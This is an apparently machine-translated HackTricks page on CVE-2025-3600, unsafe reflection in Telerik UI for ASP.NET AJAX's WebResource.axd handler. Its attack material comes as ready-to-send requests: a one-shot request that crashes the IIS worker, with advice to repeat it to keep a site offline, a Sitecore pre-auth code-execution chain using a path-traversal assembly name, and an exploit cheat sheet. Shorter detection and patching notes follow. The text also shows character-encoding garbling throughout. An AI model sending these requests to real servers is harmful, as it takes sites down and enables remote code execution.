Telerik UI for ASP.NET AJAX โ€“ Unsafe Reflection via WebResource.axd (type=iec)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Preโ€‘auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, preโ€‘auth RCE via targetโ€‘specific gadgets (CVE-2025-3600).

TL;DR

  • Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Exposed preโ€‘auth in many products.
  • Primitive: Attacker controls a type name (prtype). The handler resolves it with Type.GetType() and invokes Activator.CreateInstance() before verifying interface type-safety. Any public parameterless .NET type constructor will run.
  • Impact:
    • Universal preโ€‘auth DoS with a .NET framework gadget (PowerShell WSMan finalizer).
    • Often elevates to preโ€‘auth RCE in real deployments by abusing appโ€‘specific gadgets, especially insecure AppDomain.AssemblyResolve handlers.
  • Fix: Update to Telerik UI for ASP.NET AJAX 2025.1.416+ or remove/lock the handler.

์˜ํ–ฅ ๋ฐ›๋Š” ๋ฒ„์ „

  • Telerik UI for ASP.NET AJAX ๋ฒ„์ „ 2011.2.712 ๋ถ€ํ„ฐ 2025.1.218(ํฌํ•จ)๊นŒ์ง€ ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค.
  • 2025.1.416(๋ฆด๋ฆฌ์Šค 2025-04-30)์—์„œ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ฆ‰์‹œ ํŒจ์น˜ํ•˜๊ฑฐ๋‚˜ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์ œ๊ฑฐ/์ž ๊ทธ์„ธ์š”.

์˜ํ–ฅ ๋ฒ”์œ„ ๋ฐ ๋น ๋ฅธ ํƒ์ง€

  • ๋…ธ์ถœ ํ™•์ธ:
    • ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์—ฐ๊ฒฐ๋˜์–ด ์žˆ์œผ๋ฉด GET /Telerik.Web.UI.WebResource.axd ๋Š” 404/403 ์ด์™ธ์˜ ์‘๋‹ต์„ ๋ฐ˜ํ™˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
    • web.config์—์„œ Telerik.Web.UI.WebResource.axd๋กœ ๋งคํ•‘๋œ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
    • ์ทจ์•ฝํ•œ ์ฝ”๋“œ ๊ฒฝ๋กœ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๋ ค๋ฉด: type=iec, dkey=1, prtype= ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

Example probe and generic trigger:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

์ฐธ๊ณ 

  • ์ผ๋ถ€ PoCs๋Š” dtype์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค; ๊ตฌํ˜„์€ ๋‹ค์šด๋กœ๋“œ ํ๋ฆ„์—์„œ dkey==โ€œ1โ€œ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • prtype๋Š” assembly-qualified์ด๊ฑฐ๋‚˜ ํ˜„์žฌ AppDomain์—์„œ ํ•ด๊ฒฐ ๊ฐ€๋Šฅํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๊ทผ๋ณธ ์›์ธ โ€“ ImageEditorCacheHandler์—์„œ์˜ unsafe reflection

Image Editor์˜ ์บ์‹œ ๋‹ค์šด๋กœ๋“œ ํ๋ฆ„์€ prtype์— ์ œ๊ณต๋œ ํƒ€์ž…์˜ ์ธ์Šคํ„ด์Šค๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ๋‚˜์ค‘์— ๊ทธ๊ฒƒ์„ ICacheImageProvider๋กœ ์บ์ŠคํŠธํ•œ ๋‹ค์Œ ๋‹ค์šด๋กœ๋“œ ํ‚ค๋ฅผ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค. ๊ฒ€์ฆ์ด ์‹คํŒจํ•  ๋•Œ์—๋Š” ์ด๋ฏธ ์ƒ์„ฑ์ž์˜ ์‹คํ–‰์ด ์™„๋ฃŒ๋œ ์ƒํƒœ์ž…๋‹ˆ๋‹ค.

๊ด€๋ จ ๋””์ปดํŒŒ์ผ๋œ ํ๋ฆ„ ```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }

private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[โ€œprtypeโ€])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[โ€œprtypeโ€]) // [A] ); } โ€ฆ }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

์ต์Šคํ”Œ๋กœ์ž‡ ๊ธฐ๋ณธ ์›๋ฆฌ: ์ œ์–ด๋œ ํƒ€์ž… ๋ฌธ์ž์—ด โ†’ Type.GetType๊ฐ€ ์ด๋ฅผ ํ•ด์„ โ†’ Activator.CreateInstance๊ฐ€ ๊ณต๊ฐœ ๋งค๊ฐœ๋ณ€์ˆ˜ ์—†๋Š” ์ƒ์„ฑ์ž๋ฅผ ์‹คํ–‰ํ•œ๋‹ค. ์š”์ฒญ์ด ์ดํ›„์— ๊ฑฐ๋ถ€๋˜๋”๋ผ๋„ gadget์˜ ๋ถ€์ž‘์šฉ์€ ์ด๋ฏธ ๋ฐœ์ƒํ•œ๋‹ค.

## Universal DoS gadget (์•ฑ-ํŠน์ • gadget ๋ถˆํ•„์š”)

ํด๋ž˜์Šค: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell)๋Š” finalizer๊ฐ€ ์ดˆ๊ธฐํ™”๋˜์ง€ ์•Š์€ ํ•ธ๋“ค์„ Disposeํ•˜์—ฌ, GC๊ฐ€ ์ด๋ฅผ finalizer์—์„œ ์ฒ˜๋ฆฌํ•  ๋•Œ ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์€ ์˜ˆ์™ธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚จ๋‹ค. ์ด๋กœ ์ธํ•ด ์ธ์Šคํ„ด์Šคํ™” ์งํ›„ IIS ์›Œ์ปค ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‹ ๋ขฐ์„ฑ ์žˆ๊ฒŒ ์ถฉ๋Œํ•œ๋‹ค.

์›์ƒท DoS ์š”์ฒญ:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

  • ์‚ฌ์ดํŠธ๋ฅผ ์˜คํ”„๋ผ์ธ ์ƒํƒœ๋กœ ์œ ์ง€ํ•˜๋ ค๋ฉด ์ฃผ๊ธฐ์ ์œผ๋กœ ๊ณ„์† ์ „์†กํ•˜์„ธ์š”. ๋””๋ฒ„๊ฑฐ์—์„œ constructor๊ฐ€ ํ˜ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ๊ด€์ฐฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ; finalization ์‹œ ํฌ๋ž˜์‹œ๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

From DoS to RCE โ€“ escalation patterns

Unsafe constructor execution unlocks many targetโ€‘specific gadgets and chains. Hunt for:

  1. Parameterless constructors that process attacker input
  • Some ctors (or static initializers) immediately read Request query/body/cookies/headers and (de)serialize them.
  • Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body โ€œlayoutโ€ and deserializes JSON via JSON.NET.
  1. Constructors that touch files
  • Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).
  1. Constructors performing app-specific ops
  • Resetting state, toggling modules, or terminating processes.
  1. Constructors/static ctors that register AppDomain event handlers
  • Many apps add AppDomain.CurrentDomain.AssemblyResolve handlers that build DLL paths from args.Name without sanitization. If you can influence type resolution you can coerce arbitrary DLL loads from attackerโ€‘controlled paths.
  1. Forcing AssemblyResolve via Type.GetType
  • Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. ํŒŒ์ด๋„๋ผ์ด์ €(finalizer)์˜ ํŒŒ๊ดด์  ๋ถ€์ž‘์šฉ
  • ์ผ๋ถ€ ํƒ€์ž…์€ ํŒŒ์ด๋„๋ผ์ด์ €์—์„œ ๊ณ ์ • ๊ฒฝ๋กœ์˜ ํŒŒ์ผ์„ ์‚ญ์ œํ•ฉ๋‹ˆ๋‹ค. link-following ๋˜๋Š” ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ๊ฒฝ๋กœ์™€ ๊ฒฐํ•ฉ๋˜๋ฉด ํŠน์ • ํ™˜๊ฒฝ์—์„œ local privilege escalation์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Example preโ€‘auth RCE chain (Sitecore XP)

  • Step 1 โ€“ Preโ€‘auth: static/instance ctor๊ฐ€ ์ทจ์•ฝํ•œ AssemblyResolve handler๋ฅผ ๋“ฑ๋กํ•˜๋Š” ํƒ€์ž…์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค (e.g., Sitecoreโ€™s FolderControlSource in ControlFactory).
  • Step 2 โ€“ Postโ€‘auth: resolver-probed ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์“ฐ๊ธฐ ๊ถŒํ•œ์„ ์–ป์–ด ์•…์„ฑ DLL์„ ์‹ฌ์Šต๋‹ˆ๋‹ค (e.g., via an auth bypass or weak upload).
  • Step 3 โ€“ Preโ€‘auth: ์กด์žฌํ•˜์ง€ ์•Š๋Š” ํƒ€์ž…๊ณผ traversalโ€‘laden assembly name์„ ์‚ฌ์šฉํ•ด CVEโ€‘2025โ€‘3600์„ ์•…์šฉํ•˜์—ฌ ๋ฆฌ์กธ๋ฒ„๊ฐ€ ์‹ฌ์–ด๋‘” DLL์„ ๋กœ๋“œํ•˜๋„๋ก ๊ฐ•์ œ โ†’ code execution as the IIS worker.

ํŠธ๋ฆฌ๊ฑฐ ์˜ˆ์‹œ

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

๊ฒ€์ฆ, hunting ๋ฐ DFIR ๋…ธํŠธ

  • ์•ˆ์ „ํ•œ ์‹คํ—˜์‹ค ๊ฒ€์ฆ: DoS ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ฐœ์‚ฌํ•˜๊ณ  WSMan finalizer์™€ ์—ฐ๊ด€๋œ ์•ฑ ํ’€ ์žฌ์‹œ์ž‘/์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์€ ์˜ˆ์™ธ๋ฅผ ๊ด€์ฐฐํ•ฉ๋‹ˆ๋‹ค.
  • ํ…”๋ ˆ๋ฉ”ํŠธ๋ฆฌ์—์„œ ์ˆ˜์ƒ‰:
  • Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
  • ํƒ€์ž… ๋กœ๋“œ ์‹คํŒจ ๋ฐ AppDomain.AssemblyResolve ์ด๋ฒคํŠธ.
  • ์ด๋Ÿฌํ•œ ์š”์ฒญ ์ดํ›„์˜ ๊ฐ‘์ž‘์Šค๋Ÿฌ์šด w3wp.exe ์ถฉ๋Œ/์žฌ์‹œ์ž‘.

์™„ํ™” ์กฐ์น˜

  • Telerik UI for ASP.NET AJAX 2025.1.416 ์ด์ƒ์œผ๋กœ ํŒจ์น˜.
  • ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ Telerik.Web.UI.WebResource.axd์˜ ๋…ธ์ถœ์„ ์ œ๊ฑฐํ•˜๊ฑฐ๋‚˜ ์ œํ•œ (WAF/rewrites).
  • ์„œ๋ฒ„ ์ธก์˜ prtype ์ฒ˜๋ฆฌ๋ฅผ ๋ฌด์‹œํ•˜๊ฑฐ๋‚˜ ๊ฐ•ํ™”(์—…๊ทธ๋ ˆ์ด๋“œ๋Š” ์ธ์Šคํ„ด์Šคํ™” ์ „์— ์ ์ ˆํ•œ ๊ฒ€์‚ฌ ์ ์šฉ).
  • ์ปค์Šคํ…€ AppDomain.AssemblyResolve ํ•ธ๋“ค๋Ÿฌ๋ฅผ ๊ฐ์‚ฌํ•˜๊ณ  ๊ฐ•ํ™”. args.Name์—์„œ ๊ฒฝ๋กœ๋ฅผ ๋ฌด๊ฒ€์ฆ์œผ๋กœ ์ƒ์„ฑํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค; strong-named loads ๋˜๋Š” ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋ฅผ ์„ ํ˜ธํ•ฉ๋‹ˆ๋‹ค.
  • ์—…๋กœ๋“œ/์“ฐ๊ธฐ ์œ„์น˜๋ฅผ ์ œํ•œํ•˜๊ณ  probed ๋””๋ ‰ํ† ๋ฆฌ์— DLL์ด ๋–จ์–ด์ง€๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€.
  • resolver ์•…์šฉ์„ ํฌ์ฐฉํ•˜๊ธฐ ์œ„ํ•ด ์กด์žฌํ•˜์ง€ ์•Š๋Š” ํƒ€์ž… ๋กœ๋“œ ์‹œ๋„๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋ง.

์น˜ํŠธ์‹œํŠธ

  • Presence check:
  • GET /Telerik.Web.UI.WebResource.axd
  • web.config์—์„œ handler ๋งคํ•‘ ํ™•์ธ
  • Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • ํŠธ๋ฆฌ๊ฑฐ ๋ฆฌ์กธ๋ฒ„:
This.Class.Does.Not.Exist, watchTowr

๊ด€๋ จ ๊ธฐ์ˆ 

  • IIS post-exploitation, .NET key extraction, and inโ€‘memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ